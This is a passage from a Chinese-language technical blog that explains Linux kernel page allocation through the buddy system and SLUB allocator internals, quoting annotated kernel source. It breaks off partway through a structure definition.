struct page *rmqueue_buddy(struct zone *preferred_zone, struct zone *zone,
unsigned int order, unsigned int alloc_flags,
int migratetype)
{
struct page *page;
unsigned long flags;

do {
page = NULL;
// 获取zone的全局锁
spin_lock_irqsave(&zone->lock, flags);
if (alloc_flags & ALLOC_HIGHATOMIC)
// 需要高原子性的分配
page = __rmqueue_smallest(zone, order, MIGRATE_HIGHATOMIC);
if (!page) {
// 正常分配
page = __rmqueue(zone, order, migratetype, alloc_flags);

/*
* If the allocation fails, allow OOM handling and
* order-0 (atomic) allocs access to HIGHATOMIC
* reserves as failing now is worse than failing a
* high-order atomic allocation in the future.
*/
if (!page && (alloc_flags & (ALLOC_OOM|ALLOC_NON_BLOCK)))
page = __rmqueue_smallest(zone, order, MIGRATE_HIGHATOMIC);

if (!page) {
spin_unlock_irqrestore(&zone->lock, flags);
return NULL;
}
}
__mod_zone_freepage_state(zone, -(1 << order),
get_pcppage_migratetype(page));
spin_unlock_irqrestore(&zone->lock, flags);
} while (check_new_pages(page, order));

__count_zid_vm_events(PGALLOC, page_zonenum(page), 1 << order);
zone_statistics(preferred_zone, zone, 1);

return page;
}

最后还是要走__rmqueue或者__rmqueue_smallest去进行分配

__rmqueue_smallest | 从指定migratetype分配

从指定migratetype的freelist获取需求页面的最小集合:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
static __always_inline
struct page *__rmqueue_smallest(struct zone *zone, unsigned int order,
int migratetype)
{
unsigned int current_order;
struct free_area *area;
struct page *page;

/* Find a page of the appropriate size in the preferred list */
for (current_order = order; current_order < NR_PAGE_ORDERS; ++current_order) {// 从指定order开始遍历

// 获取对应area
area = &(zone->free_area[current_order]);
// 从对应order的area获取对应migratetype的一个页面
page = get_page_from_free_area(area, migratetype);
if (!page)
// 如果没有找到,直接去下一个order
continue;
// 页面脱链
del_page_from_free_list(page, zone, current_order);
// 页面拆分,取出想要的页面
expand(zone, page, order, current_order, migratetype);
set_pcppage_migratetype(page, migratetype);
trace_mm_page_alloc_zone_locked(page, order, migratetype,
pcp_allowed_order(order) &&
migratetype < MIGRATE_PCPTYPES);
return page;
}

return NULL;
}

expand用于将页面拆分,从高层次order不断向下拆分,直到最后获取到对应order的页面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
static inline void expand(struct zone *zone, struct page *page,
int low, int high, int migratetype)
{
unsigned long size = 1 << high;

while (high > low) {
high--;
// size是后面一半page的起始idx
size >>= 1;
VM_BUG_ON_PAGE(bad_range(zone, &page[size]), &page[size]);

/*
* Mark as guard pages (or page), that will allow to
* merge back to allocator when buddy will be freed.
* Corresponding page table entries will not be touched,
* pages will stay not present in virtual address space
*/
if (set_page_guard(zone, &page[size], high, migratetype))
continue;
// 将后面一半加入freelist
add_to_free_list(&page[size], zone, high, migratetype);
set_buddy_order(&page[size], high);
}
}

然后我们看一下del_page_from_free_list

1
2
3
4
5
6
7
8
9
10
11
12
13
static inline void del_page_from_free_list(struct page *page, struct zone *zone,
unsigned int order)
{
/* clear reported state and update reported page count */
if (page_reported(page))
__ClearPageReported(page);

list_del(&page->buddy_list);
__ClearPageBuddy(page);
set_page_private(page, 0);
zone->free_area[order].nr_free--;
}

这实际上表示了,如果需要脱离buddy system的管理,需要清除PageBuddy的设置,并且清楚private域。

然后讨论一下set_buddy_order

1
2
3
4
5
static inline void set_buddy_order(struct page *page, unsigned int order)
{
set_page_private(page, order);
__SetPageBuddy(page);
}

他包含两个部分,一个是设置page的private域,正如我们之前提到的,这代表page的order,其次是设置page的page_type为PageBuddy,因为之前此page是tail page。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// page-flag.h
#define PAGE_TYPE_OPS(uname, lname, fname) \
FOLIO_TYPE_OPS(lname, fname) \
static __always_inline int Page##uname(const struct page *page) \
{ \
return PageType(page, PG_##lname); \
} \
static __always_inline void __SetPage##uname(struct page *page) \
{ \
VM_BUG_ON_PAGE(!PageType(page, 0), page); \
page->page_type &= ~PG_##lname; \
} \
static __always_inline void __ClearPage##uname(struct page *page) \
{ \
VM_BUG_ON_PAGE(!Page##uname(page), page); \
page->page_type |= PG_##lname; \
}

/*
* PageBuddy() indicates that the page is free and in the buddy system
* (see mm/page_alloc.c).
*/
PAGE_TYPE_OPS(Buddy, buddy, buddy)

__rmqueue | __rmqueue_smallset的封装

此函数只是在__rmqueue_smallset的基础上增加了对于CMA区域(迁移类型为MIGRATE_CMA)的处理,最终还是会调用__rmqueue_smallset

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
static __always_inline struct page *
__rmqueue(struct zone *zone, unsigned int order, int migratetype,
unsigned int alloc_flags)
{
struct page *page;

if (IS_ENABLED(CONFIG_CMA)) {
/*
* Balance movable allocations between regular and CMA areas by
* allocating from CMA when over half of the zone's free memory
* is in the CMA area.
*/
if (alloc_flags & ALLOC_CMA &&
zone_page_state(zone, NR_FREE_CMA_PAGES) >
zone_page_state(zone, NR_FREE_PAGES) / 2) {
page = __rmqueue_cma_fallback(zone, order);
if (page)
return page;
}
}
retry:
page = __rmqueue_smallest(zone, order, migratetype);
if (unlikely(!page)) {
if (alloc_flags & ALLOC_CMA)
page = __rmqueue_cma_fallback(zone, order);

if (!page && __rmqueue_fallback(zone, order, migratetype,
alloc_flags))
goto retry;
}
return page;
}

__alloc_pages_slowpath | 页面分配的慢路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
static inline struct page *
__alloc_pages_slowpath(gfp_t gfp_mask, unsigned int order,
struct alloc_context *ac)
{
bool can_direct_reclaim = gfp_mask & __GFP_DIRECT_RECLAIM;
bool can_compact = gfp_compaction_allowed(gfp_mask);
const bool costly_order = order > PAGE_ALLOC_COSTLY_ORDER;
struct page *page = NULL;
unsigned int alloc_flags;
unsigned long did_some_progress;
enum compact_priority compact_priority;
enum compact_result compact_result;
int compaction_retries;
int no_progress_loops;
unsigned int cpuset_mems_cookie;
unsigned int zonelist_iter_cookie;
int reserve_flags;

restart:
// 设置重试的一些参数
compaction_retries = 0;
no_progress_loops = 0;
compact_priority = DEF_COMPACT_PRIORITY;
cpuset_mems_cookie = read_mems_allowed_begin();
zonelist_iter_cookie = zonelist_iter_begin();

// 重新设置alloc_flags, 因为快速路径的分配使用保守的alloc_flags,
// 而现在我们将唤醒 kswapd,
// 因此恢复使用原有的 gfp_mask 对应的 alloc_flags
alloc_flags = gfp_to_alloc_flags(gfp_mask, order);


// 重新设置zonelist 迭代器的起点,因为需要使用与fastpath中不同的nodemask。
// 或者,现在有cpuset发生了修改,并且我们在重试
// 避免在无效zone上无休止地迭代
ac->preferred_zoneref = first_zones_zonelist(ac->zonelist,
ac->highest_zoneidx, ac->nodemask);
if (!ac->preferred_zoneref->zone)
goto nopage;

// 获取当前cpuset可用的zone
if (cpusets_insane_config() && (gfp_mask & __GFP_HARDWALL)) {
struct zoneref *z = first_zones_zonelist(ac->zonelist,
ac->highest_zoneidx,
&cpuset_current_mems_allowed);
if (!z->zone)
goto nopage;
}
// 是否需要唤醒kswapd
if (alloc_flags & ALLOC_KSWAPD)
wake_all_kswapds(order, gfp_mask, ac);

// 经过上述调整,可能get_page_from_freelist可以直接分配了,那就直接从此分配
page = get_page_from_freelist(gfp_mask, order, alloc_flags, ac);
if (page)
goto got_pg;

/*
* 对于代价高的分配, 首先尝试直接的 compaction(译注:碎片整理机制),
* 因为有可能我们仍有足够的基本页面,并不需要去回收. 对于不可迁移的高阶分配,
* 同样这么做, 因为 compaction 将尝试通过从相同迁移类型的块进行迁移
* 以避免永久的碎片. 别对允许忽视水位线的分配尝试这个,因为
* ALLOC_NO_WATERMARKS 还没发生。
*/
if (can_direct_reclaim && can_compact &&
(costly_order ||
(order > 0 && ac->migratetype != MIGRATE_MOVABLE))
&& !gfp_pfmemalloc_allowed(gfp_mask)) {
page = __alloc_pages_direct_compact(gfp_mask, order,
alloc_flags, ac,
INIT_COMPACT_PRIORITY,
&compact_result);
if (page)
goto got_pg;

/*
* 检查带有 __GFP_NORETRY 的代价高的分配, 其
* 包括一些 THP page fault 的分配
*/
if (costly_order && (gfp_mask & __GFP_NORETRY)) {
/* 如果分配一个大的pageblocks并且内存碎片整理失败,因为所有的zone都在低水位线
* 或者因为最近在这个order分配失败了,
* 立即失败,除非分配器请求内存碎片整理并且声明Reclaim
*
* Reclaim :
* - 可能非常昂贵,因为zone可能远低于其水位线,
* 或是这是非常突发的高阶分配的一部分,
* - 不一定会有帮助因为 isolate_freepages() 可能不会在
* 被释放的页面上迭代作为其线性扫描的一部分,且
* - 不大可能会让整个 pageblocks 自己释放
*/
if (compact_result == COMPACT_SKIPPED ||
compact_result == COMPACT_DEFERRED)
goto nopage;

/*
* 看起来好像 reclaim/compaction 是值得尝试的, 但
* 同步的 compaction 可能会非常 expensive, 故保持
* 使用异步的 compaction.
*/
compact_priority = INIT_COMPACT_PRIORITY;
}
}

retry:
/* 确保只要我们循环, kswapd 便不会意外地休眠 */
if (alloc_flags & ALLOC_KSWAPD)
wake_all_kswapds(order, gfp_mask, ac);

reserve_flags = __gfp_pfmemalloc_flags(gfp_mask);
if (reserve_flags)
alloc_flags = gfp_to_alloc_flags_cma(gfp_mask, reserve_flags) |
(alloc_flags & ALLOC_KSWAPD);

/*
* 若内存策略可以忽略,重置 nodemask 与 zonelist 迭代器。
* 这些分配具有高优先级与系统性,而非用户导向。
*/
if (!(alloc_flags & ALLOC_CPUSET) || reserve_flags) {
ac->nodemask = NULL;
ac->preferred_zoneref = first_zones_zonelist(ac->zonelist,
ac->highest_zoneidx, ac->nodemask);
}

/* 带着可能调整过 zonelist 与 alloc_flags 再次尝试 */
page = get_page_from_freelist(gfp_mask, order, alloc_flags, ac);
if (page)
goto got_pg;

/* 调用方不想要回收, 则只能失败 */
if (!can_direct_reclaim)
goto nopage;

/* 避免递归地直接回收 */
if (current->flags & PF_MEMALLOC)
goto nopage;

/* 尝试直接回收后分配 */
page = __alloc_pages_direct_reclaim(gfp_mask, order, alloc_flags, ac,
&did_some_progress);
if (page)
goto got_pg;

/* 尝试直接 compaction 后分配 */
page = __alloc_pages_direct_compact(gfp_mask, order, alloc_flags, ac,
compact_priority, &compact_result);
if (page)
goto got_pg;

/* 若是特别指定的请求,不要循环 */

if (gfp_mask & __GFP_NORETRY)
goto nopage;

/*
* 不要重试高花销的高阶分配除非他们是
* __GFP_RETRY_MAYFAIL
*/
if (costly_order && (!can_compact ||
!(gfp_mask & __GFP_RETRY_MAYFAIL)))
goto nopage;

if (should_reclaim_retry(gfp_mask, order, ac, alloc_flags,
did_some_progress > 0, &no_progress_loops))
goto retry;

/*
* 若0阶的回收无法取得任何进展,则重试 compaction 没有任何意义,
* 因为当前对 compaction 的实现是基于有足够的空闲内存的
* (参见 __compaction_suitable)
*/
if (did_some_progress > 0 && can_compact &&
should_compact_retry(ac, order, alloc_flags,
compact_result, &compact_priority,
&compaction_retries))
goto retry;


/* 在我们开始 OOM killing 之前处理可能的 cpuset 更新竞争 */
if (check_retry_cpuset(cpuset_mems_cookie, ac) ||
check_retry_zonelist(zonelist_iter_cookie))
goto restart;

/* 回收失败了, 开始 killing 一些东西 */
// 要杀一些进程或是别的东西来腾内存了
page = __alloc_pages_may_oom(gfp_mask, order, ac, &did_some_progress);
if (page)
goto got_pg;

/* 在无尽的循环中避免没有水位线的分配 */
if (tsk_is_oom_victim(current) &&
(alloc_flags & ALLOC_OOM ||
(gfp_mask & __GFP_NOMEMALLOC)))
goto nopage;

/* 若 OOM killer 取得了一些成效,重试 */
if (did_some_progress) {
no_progress_loops = 0;
goto retry;
}

nopage:
/* 在我们失败之前处理可能的 cpuset 的更新竞争 */
if (check_retry_cpuset(cpuset_mems_cookie, ac) ||
check_retry_zonelist(zonelist_iter_cookie))
goto restart;

/*
* 确保 __GFP_NOFAIL 请求没有泄露且确保我们一直在重试
*/
if (gfp_mask & __GFP_NOFAIL) {
/*
* 所有存在的 __GFP_NOFAIL 用户都是可以被阻塞的,
* 故对任何新的实际上需要 GFP_NOWAIT 的用户进行警告
*/
if (WARN_ON_ONCE_GFP(!can_direct_reclaim, gfp_mask))
goto fail;

/*
* 这个上下文的 PF_MEMALLOC 请求非常奇怪
* 因为我们不能回收任何东西只能循环等待
* 某人来为我们做些什么
*/
WARN_ON_ONCE_GFP(current->flags & PF_MEMALLOC, gfp_mask);

/*
* 无失败的高开销的 orders 是一项艰巨的要求,
* 我们对此并没有太多准备,故让我们警告这些用户
* 以便于我们能够识别出他们并将之转化为别的东西
*/
WARN_ON_ONCE_GFP(costly_order, gfp_mask);

/*
* 通过让他们能访问保留的内存来帮助非失败的分配
* 但不使用 ALLOC_NO_WATERMARKS 因为这可能
* 大量减少内存保留区而让情况更坏
*/
page = __alloc_pages_cpuset_fallback(gfp_mask, order, ALLOC_MIN_RESERVE, ac);
if (page)
goto got_pg;

cond_resched();
goto retry;
}
fail:
warn_alloc(gfp_mask, ac->nodemask,
"page allocation failure: order:%u", order);
got_pg:
return page;
}

综上,分配流程大致如下:

Pasted-image-20250117092515.png

__free_one_page | 页面的释放

当我们释放页面时,我们可以得出此页面buddy的状态,如果一个块被释放,并且它的伙伴也是释放的,那么这将触发合并成一个更大尺寸的块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
static inline void __free_one_page(struct page *page,
unsigned long pfn,
struct zone *zone, unsigned int order,
int migratetype, fpi_t fpi_flags)
{
struct capture_control *capc = task_capc(zone);
unsigned long buddy_pfn = 0;
unsigned long combined_pfn;
struct page *buddy;
bool to_tail;
// 对于一些错误情况的判断
VM_BUG_ON(!zone_is_initialized(zone));
VM_BUG_ON_PAGE(page->flags & PAGE_FLAGS_CHECK_AT_PREP, page);

VM_BUG_ON(migratetype == -1);

if (likely(!is_migrate_isolate(migratetype)))
__mod_zone_freepage_state(zone, 1 << order, migratetype);

VM_BUG_ON_PAGE(pfn & ((1 << order) - 1), page);
VM_BUG_ON_PAGE(bad_range(zone, page), page);

while (order < MAX_ORDER) {
if (compaction_capture(capc, page, order, migratetype)) {
__mod_zone_freepage_state(zone, -(1 << order),
migratetype);
return;
}
// 计算buddy的pfn和buddy的页面
buddy = find_buddy_page_pfn(page, pfn, order, &buddy_pfn);
if (!buddy)
goto done_merging;

if (unlikely(order >= pageblock_order)) {
/*
* We want to prevent merge between freepages on pageblock
* without fallbacks and normal pageblock. Without this,
* pageblock isolation could cause incorrect freepage or CMA
* accounting or HIGHATOMIC accounting.
*/
// 防止大于pageblock的order
int buddy_mt = get_pfnblock_migratetype(buddy, buddy_pfn);

if (migratetype != buddy_mt
&& (!migratetype_is_mergeable(migratetype) ||
!migratetype_is_mergeable(buddy_mt)))
goto done_merging;
}

// 清除page_guard bit
if (page_is_guard(buddy))
clear_page_guard(zone, buddy, order, migratetype);
else
// 对于buddy进行脱链
del_page_from_free_list(buddy, zone, order);
// 计算buddy和待释放页面结合的pfn
combined_pfn = buddy_pfn & pfn;
page = page + (combined_pfn - pfn);
pfn = combined_pfn;
order++;
}

done_merging:
// 在 page->private 中储存 order
set_buddy_order(page, order);

// 如果设置了尾插flag
if (fpi_flags & FPI_TO_TAIL)
to_tail = true;
else if (is_shuffle_order(order))
to_tail = shuffle_pick_tail();
else
// 该函数会检查是否下一个最高阶的 buddy 是否空闲
// 若是,则可能正在释放的页面块将很快被合并,此时我们应当将其添加到链表的尾部
// 这样就不大可能又被别的进程很快就分配走了,而是可能被合并为高阶页面
to_tail = buddy_merge_likely(pfn, buddy_pfn, page, order);

// 插入特定迁移链表
if (to_tail)
add_to_free_list_tail(page, zone, order, migratetype);
else
add_to_free_list(page, zone, order, migratetype);

/* Notify page reporting subsystem of freed page */
if (!(fpi_flags & FPI_SKIP_REPORT_NOTIFY))
page_reporting_notify_free(order);
}

我们来看一下find_buddy_page_pfn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
static inline unsigned long
__find_buddy_pfn(unsigned long page_pfn, unsigned int order)
{
return page_pfn ^ (1 << order);
}

/*
* Find the buddy of @page and validate it.
* @page: The input page
* @pfn: The pfn of the page, it saves a call to page_to_pfn() when the
* function is used in the performance-critical __free_one_page().
* @order: The order of the page
* @buddy_pfn: The output pointer to the buddy pfn, it also saves a call to
* page_to_pfn().
*
* The found buddy can be a non PageBuddy, out of @page's zone, or its order is
* not the same as @page. The validation is necessary before use it.
*
* Return: the found buddy page or NULL if not found.
*/
static inline struct page *find_buddy_page_pfn(struct page *page,
unsigned long pfn, unsigned int order, unsigned long *buddy_pfn)
{
unsigned long __buddy_pfn = __find_buddy_pfn(pfn, order);
struct page *buddy;

buddy = page + (__buddy_pfn - pfn);
if (buddy_pfn)
*buddy_pfn = __buddy_pfn;

if (page_is_buddy(page, buddy, order))
return buddy;
return NULL;
}

此函数核心是buddy的概念,buddy是当前page在特定order下的另一组page,实际上通过 page_pfn ^ (1 << order) 来计算,同时,此函数还要验证buddy是否被buddy system管理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/*
* This function checks whether a page is free && is the buddy
* we can coalesce a page and its buddy if
* (a) the buddy is not in a hole (check before calling!) &&
* (b) the buddy is in the buddy system &&
* (c) a page and its buddy have the same order &&
* (d) a page and its buddy are in the same zone.
*
* For recording whether a page is in the buddy system, we set PageBuddy.
* Setting, clearing, and testing PageBuddy is serialized by zone->lock.
*
* For recording page's order, we use page_private(page).
*/
static inline bool page_is_buddy(struct page *page, struct page *buddy,
unsigned int order)
{
if (!page_is_guard(buddy) && !PageBuddy(buddy))
return false;

if (buddy_order(buddy) != order)
return false;

if (page_zone_id(page) != page_zone_id(buddy))
return false;

VM_BUG_ON_PAGE(page_count(buddy) != 0, buddy);

return true;
}

根据注释所说,主要是检测四个方面:

  1. buddy不能是空洞,这个检测并不在这,应该在初始化之前
  2. buddy需要是pagebuddy
  3. buddy的order要相对应
  4. buddy的zone要相对应

最终,通过不断找page页面的buddy,如果能找到空闲的buddy就合并,并且组成新的page组,提升order,再继续找对应的buddy,不断合并。

slub allocator

内核为其内部使用发起的分配请求很多是针对较小的块(通常小于页面大小),在这种情况下使用页面分配器会导致内存浪费和内部碎片。为了避免这些问题,内核使用了slab分配器。 slab分配器的思想是基于对象缓存的思想。slab分配器使用预先分配的对象缓存。该对象缓存是通过保留一些页框(通过页面分配器分配)、将这些页框划分为对象并维护有关对象的一些元数据来创建的。该元数据有助于遍历对象列表,并且还提供这些对象的状态信息。显然,这个想法可以通过多种方式实现,其中一种实现在一种情况下可能性能更好,而另一种实现在另一种情况下性能更好。因此,Linux 内核有 3 种slab分配器,即 SLAB、SLUB 和 SLOB 分配器。SLUB 分配器是默认且使用最广泛的slab 分配器,本文将仅介绍SLUB 分配器。

在此统一以后提到的术语:

  • slub/slab,因为我们仅仅讨论slub系统,因此,这两个词均指代slab系统向buddy system请求的一份连续内存页,由一个slab结构体管理。
  • object,为了与slub分配器分配的小对象做区分,我们将slub内部的小对象统一称为object

ref: https://blogs.oracle.com/linux/post/linux-slub-allocator-internals-and-debugging-1

slub 分配器大致遵循如下结构:

图偷的,侵删

Pasted-image-20250129161434.png

结构体

slab

slab同page结构体复用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
struct slab {
unsigned long __page_flags;

#if defined(CONFIG_SLAB)
...
...
#elif defined(CONFIG_SLUB)
// 常用的slub分配器:
struct kmem_cache *slab_cache;
// 这是该slub 对应的内存池
union {
struct {
union {
struct list_head slab_list;
#ifdef CONFIG_SLUB_CPU_PARTIAL
struct {
struct slab *next;
int slabs; /* Nr of slabs left */
};
#endif
};
/* Double-word boundary */
union {
struct {
void *freelist;
// slab上空闲对象通过链表连接,指向第一个空闲对象
union {
unsigned long counters;
struct {
unsigned inuse:16;
// 已经被使用的objects数量
unsigned objects:15;
// 当前的objects总数
unsigned frozen:1;
// 是否归属特定cpu
};
};
};
#ifdef system_has_freelist_aba
freelist_aba_t freelist_counter;
#endif
};
};
//
struct rcu_head rcu_head;
};
unsigned int __unused;

#else
#error "Unexpected slab allocator configured"
#endif

atomic_t __page_refcount;
#ifdef CONFIG_MEMCG
unsigned long memcg_data;
#endif
};

slab系统的顶层设计如图,一个slab cache由一个或者多个slab页组成,并且这些页面包含固定大小的对象。对于由多个页面组成的slab,使用复合页面:

Pasted-image-20250129173830.png

大致情形如下,一个slab页包含多个objects,freelist指向其中处于释放状态的objects:

Pasted-image-20250129173516.png

介绍一下其中的一些成员:

  • freelist: 指向slab内部处于释放的object
  • next: 指向链表中的下一个slab
  • slabs: slab链表中的slab数量
  • objects:slab中object的数量
  • inuse:正在使用的object数量
  • frozen:是否被某个cpu占用
  • counters: 同时与inuse、objects、frozen复用,用于一次性为三者赋值
  • next:在cpu的partial中使用,指向下一个slab
  • slab_list:在node的链表中使用,作为一个双链表连接其他slab,和上面的next复用内存

kmem_cache

每个slab cache都由一个kmem_cache对象表示,

正如前述总体图所示, kmem_cache用于管理一系列专用内存,分配一系列大小相同的object,其结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
struct kmem_cache {
#ifndef CONFIG_SLUB_TINY
struct kmem_cache_cpu __percpu *cpu_slab;
#endif
/* Used for retrieving partial slabs, etc. */
slab_flags_t flags;
unsigned long min_partial;
unsigned int size; /* The size of an object including metadata */
unsigned int object_size;/* The size of an object without metadata */
struct reciprocal_value reciprocal_size;
unsigned int offset; /* Free pointer offset */
#ifdef CONFIG_SLUB_CPU_PARTIAL
/* Number of per cpu partial objects to keep around */
unsigned int cpu_partial;
/* Number of per cpu partial slabs to keep around */
unsigned int cpu_partial_slabs;
#endif
struct kmem_cache_order_objects oo;

/* Allocation and freeing of slabs */
struct kmem_cache_order_objects min;
gfp_t allocflags; /* gfp flags to use on each alloc */
int refcount; /* Refcount for slab cache destroy */
void (*ctor)(void *);
unsigned int inuse; /* Offset to metadata */
unsigned int align; /* Alignment */
unsigned int red_left_pad; /* Left redzone padding size */
const char *name; /* Name (only for display!) */
struct list_head list; /* List of slab caches */
#ifdef CONFIG_SYSFS
struct kobject kobj; /* For sysfs */
#endif
#ifdef CONFIG_SLAB_FREELIST_HARDENED
unsigned long random;
#endif

#ifdef CONFIG_NUMA
/*
* Defragmentation by allocating from a remote node.
*/
unsigned int remote_node_defrag_ratio;
#endif

#ifdef CONFIG_SLAB_FREELIST_RANDOM
unsigned int *random_seq;
#endif

#ifdef CONFIG_KASAN_GENERIC
struct kasan_cache kasan_info;
#endif

#ifdef CONFIG_HARDENED_USERCOPY
unsigned int useroffset; /* Usercopy region offset */
unsigned int usersize; /* Usercopy region size */
#endif

struct kmem_cache_node *node[MAX_NUMNODES];
};

其中重要的结构如下:

cpu_slab

kmem_cache对象都有一个指向kmem_cache_cpu对象的per CPU指针(cpu_slab)。kmem_cache_cpu 对象保存slab缓存的per CPU 信息。

这是每个CPU对应的自用缓存,因为是per cpu变量,因此可以无锁分配。用于slub系统分配的快路径。

min_partial

这是kmem_cache_node 的 partial_slabs的 最小保持数量,对应节点(NUMA Node)级别的partial list的下限,最少应该维护这么多的partial list,来避免频繁向buddy system寻求分配。

其计算逻辑如下:

1
2
s->min_partial = min_t(unsigned long, MAX_PARTIAL, ilog2(s->size) / 2);
s->min_partial = max_t(unsigned long, MIN_PARTIAL, s->min_partial);

对象越大,每个 slab 能容纳的对象数就越少,因此 slab 更容易被“填满”或“清空”,在这种情况下,需要更多的 partial slab 来维持平稳分配,避免频繁触发页分配器(page allocator)。

  • ilog2(s->size):取对象大小的 log₂ 值(大致表示“对象属于哪个数量级”)。
    比如 size=64 → ilog2=6, size=1024 → ilog2=10。
  • /2:降低增长速率,让 min_partial 随对象大小增加,但不至于过快增长。
  • min_t(..., MAX_PARTIAL, ...):结果不能超过 MAX_PARTIAL, 在此版本源代码中是10。
  • max_t(..., MIN_PARTIAL, ...) : 不能少于最少的partial数量,在这里是5。
cpu_partialcpu_partial_slabs

cpu_partial 是 per cpu上的partial list的上的object最大数量,cpu_partial_slabs per cpu上的partial list 上的slab的最大数量

在初始化的时候,通过如下代码设置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
static void set_cpu_partial(struct kmem_cache *s)
{
#ifdef CONFIG_SLUB_CPU_PARTIAL
unsigned int nr_objects;

/*
* cpu_partial determined the maximum number of objects kept in the
* per cpu partial lists of a processor.
*
* Per cpu partial lists mainly contain slabs that just have one
* object freed. If they are used for allocation then they can be
* filled up again with minimal effort. The slab will never hit the
* per node partial lists and therefore no locking will be required.
*
* For backwards compatibility reasons, this is determined as number
* of objects, even though we now limit maximum number of pages, see
* slub_set_cpu_partial()
*/
if (!kmem_cache_has_cpu_partial(s))
nr_objects = 0;
else if (s->size >= PAGE_SIZE)
nr_objects = 6;
else if (s->size >= 1024)
nr_objects = 24;
else if (s->size >= 256)
nr_objects = 52;
else
nr_objects = 120;

slub_set_cpu_partial(s, nr_objects);
#endif
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static void slub_set_cpu_partial(struct kmem_cache *s, unsigned int nr_objects)
{
unsigned int nr_slabs;

s->cpu_partial = nr_objects;

/*
* We take the number of objects but actually limit the number of
* slabs on the per cpu partial list, in order to limit excessive
* growth of the list. For simplicity we assume that the slabs will
* be half-full.
*/
// #define DIV_ROUND_UP(a, b) ((a+b-1)/b)
nr_slabs = DIV_ROUND_UP(nr_objects * 2, oo_objects(s->oo));
s->cpu_partial_slabs = nr_slabs;
}

可以看到,是以slabs半满作为一个假设,来从 cpu_partial 计算cpu_partial_slabs

因此,cpu_partialcpu_partial_slabs 存在如下关系:

1
cpu_partial_slabs = (cpu_partial*2 + obj_per_slab - 1)/obj_per_slab

因此,当已知object size的时候,这两者我们都很容易计算。

object_size | size

object_size 是不包含metadata的object size,size 是包含metadata的object size,当开启debug或者object内存不对齐的时候,会大于 object_size

kmem_cache_order_objects

实际上表征了objs_per_slab,也即每个slab有多少个obj
其计算如下:

1
2
3
4
5
6
7
8
9
10
11
12
#define OO_SHIFT	16
static inline unsigned int oo_order(struct kmem_cache_order_objects x)
{
return x.x >> OO_SHIFT;
}

static inline unsigned int oo_objects(struct kmem_cache_order_objects x)
{
return x.x & OO_MASK; // OO_MASK = 1<<OO_SHIFT-1
}
struct kmem_cache mycache;
objs_per_slab = oo_objects(mycache.oo) // oo是obj的order
其他成员
  • oo : 其实就是一个 int
    • 低 16 位:一张 slab 上的对象数量 ,通过oo_objects访问,即objs_per_slab
    • 高 16 位:一张 slab 的大小(2n 张内存页,其实就是order),通过oo_order访问
  • node:一个 kmem_cache_node 数组,对应多个不同 node 的后备内存池
  • name:当前slab cache的名称

kmem_cache_cpu

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct kmem_cache_cpu {
union {
struct {
void **freelist; /* Pointer to next available object */
unsigned long tid; /* Globally unique transaction id */
};
freelist_aba_t freelist_tid;
};
struct slab *slab; /* The slab from which we are allocating */
#ifdef CONFIG_SLUB_CPU_PARTIAL
struct slab *partial; /* Partially allocated frozen slabs */
#endif
local_lock_t lock; /* Protects the fields above */
#ifdef CONFIG_SLUB_STATS
unsigned stat[NR_SLUB_STAT_ITEMS];
#endif
};

kmem_cahche_cpu 是每个CPU为自己维护的后备存储,当需要分配时,这是一个percpu变量,每一个cpu都会有自己的后备存储,当分配时,会优先从当前cpu对应的kmem_cache_cpu中分配。

  • freelist : 指向this->slab中的free obj
  • slab :指向当前分配的slab页,一个active分配页,总是优先从此分配
  • partial : 半满页链表

这里我们需要注意,slab的freelist当且仅当其在partial链表上有用,当一张slab为当前CPU正在使用的slab时,其freelist为null,而由kmem_cache_cpu->freelist指向。

kmem_cache_node

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct kmem_cache_node {
#ifdef CONFIG_SLAB
raw_spinlock_t list_lock;
struct list_head slabs_partial; /* partial list first, better asm code */
struct list_head slabs_full;
